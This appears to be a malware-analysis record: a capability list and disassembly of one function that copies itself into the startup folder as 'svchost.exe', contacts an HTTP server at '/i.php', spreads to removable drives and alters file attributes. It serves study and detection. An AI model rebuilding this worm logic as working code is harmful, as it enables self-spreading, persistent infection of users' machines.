Function at 0x402af0
Capabilities:
Check if file exists
Check mutex on windows
Connect to http server
Copy file
Create http request
Create thread
Enumerate files on windows
Get common file path
Get disk information
Get startup folder
Read data from internet
Receive data
Send data
Send http request
Set file attributes
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x87c
mov eax, dword [0x41c014]
xor eax, esp
mov dword [esp + 0x878], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x100
mov dword [esp + 0x18], eax
lea eax, [esp + 0x784]
push 0
push eax
call fcn.004042a0
add esp, 0xc
lea eax, [esp + 0x470]
push 0x100
push 0
push eax
call fcn.004042a0
add esp, 0xc
lea edx, [esp + 0x470]
mov ecx, 0x41c890
push 0x17
call fcn.004025f0
add esp, 4
mov dword [esp + 0x18], 0x5c3a20
xor bl, bl
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
lea eax, [esp + 0x570]
push 0x104
push eax
push 0
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 0
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x580]
push eax
call fcn.0040626a
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
lea eax, [esp + 0x34]
add esp, 0x14
push eax
call edi
cmp eax, 2
movzx ecx, bl
mov edx, 1
cmove ecx, edx
xor ebx, ebx
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], ebx
mov eax, edx
mov ecx, ebx
shl eax, cl
test esi, eax
je 0x402cc9
lea eax, [ebx + 0x41]
mov byte [esp + 0x18], al
lea eax, [esp + 0x18]
push eax
call edi
cmp eax, 2
jne 0x402cc4
mov eax, dword [str._:]
mov dword [esp + 0x168], eax
movzx eax, byte [0x41a9c8]
mov byte [esp + 0x16c], al
movzx eax, byte [esp + 0x18]
mov byte [esp + 0x168], al
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x16c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403033
nop dword [eax]
cmp byte [esp + 0x54], 0x2e
je 0x402c9f
xor ecx, ecx
nop dword [eax]
mov al, byte [esp + ecx + 0x18]
lea ecx, [ecx + 1]
mov byte [esp + ecx + 0x16f], al
test al, al
jne 0x402c40
lea edx, [esp + 0x54]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402c58
lea edi, [esp + 0x170]
sub edx, esi
dec edi
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402c70
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp byte [esp + 0x10], al
je 0x402c9f
push 0x80
lea eax, [esp + 0x174]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402c30
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ebx, dword [esp + 0xc]
mov esi, dword [esp + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, 1
inc ebx
mov dword [esp + 0xc], ebx
cmp ebx, 0x1a
jl 0x402bc3
push str.ejs388393
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x403033
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x403033
push 0x105
lea eax, [esp + 0x2c]
push 0
push eax
call fcn.004042a0
add esp, 0xc
lea eax, [esp + 0x278]
push 0x1f4
push eax
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [esp + 0x28]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402d42
mov eax, dword [str._svchost.exe]
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ecx], eax
mov eax, dword [0x41a9b8]
mov dword [ecx + 4], eax
mov eax, dword [0x41a9bc]
mov dword [ecx + 8], eax
mov al, byte [0x41a9c0]
mov byte [ecx + 0xc], al
lea eax, [esp + 0x28]
push 0
push eax
lea eax, [esp + 0x280]
push eax
call edi
lea eax, [esp + 0x24]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push 0x402730
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0
push str.Firefox
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esp + 0x14], eax
test eax, eax
je 0x402e49
push 1
push 0
push 3
push 0
push 0
push 0x50
lea ecx, [esp + 0x488]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, eax
test ebx, ebx
je 0x402e3d
push 1
push 0x4000000
push 0
push 0
push 0
push str._i.php
push 0x41a974
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
je 0x402e3a
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x402e37
lea eax, [esp + 0x1c]
push eax
push 0x100
lea eax, [esp + 0x788]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
push esi
call edi
push ebx
call edi
push dword [esp + 0x14]
call edi
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
nop
push 0x1d4c0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor ebx, ebx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ebx
nop dword [eax + eax]
mov edx, 1
mov ecx, ebx
shl edx, cl
test eax, edx
je 0x40301a
lea eax, [ebx + 0x41]
mov byte [esp + 0x18], al
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x403016
push 0
push 0
push 0
push 0
push 0
push 0x104
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0xc8
lea eax, [esp + 0x174]
push 0
push eax
call fcn.004042a0
add esp, 0xc
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x178]
push str._s_s.exe
push eax
call fcn.004025b0
add esp, 0x10
lea eax, [esp + 0x170]
push eax
call esi
test eax, eax
jne 0x402f12
push eax
lea eax, [esp + 0x174]
push eax
lea eax, [esp + 0x578]
push eax
call edi
mov eax, dword [str._:]
mov dword [esp + 0x168], eax
movzx eax, byte [0x41a9c8]
mov byte [esp + 0x16c], al
movzx eax, byte [esp + 0x18]
mov byte [esp + 0x168], al
lea eax, [esp + 0x278]
push eax
lea eax, [esp + 0x16c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403033
nop dword [eax]
cmp byte [esp + 0x2a4], 0x2e
je 0x402fcb
xor eax, eax
nop dword [eax]
mov cl, byte [esp + eax + 0x18]
lea eax, [eax + 1]
mov byte [esp + eax + 0x677], cl
test cl, cl
jne 0x402f70
lea edx, [esp + 0x2a4]
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x402f90
lea edi, [esp + 0x678]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402fa1
mov ecx, edx
lea eax, [esp + 0x678]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 2
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push eax
call edi
jmp 0x402fd1
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x278]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402f60
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [esp + 0x170]
push eax
call esi
test eax, eax
je 0x40300b
push 0x80
lea eax, [esp + 0x174]
push eax
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ebx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
inc ebx
mov dword [esp + 0x10], ebx
cmp ebx, 0x1a
jl 0x402e70
jmp 0x402e50
mov ecx, dword [esp + 0x884]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040304c
mov esp, ebp
pop ebp
ret 0x10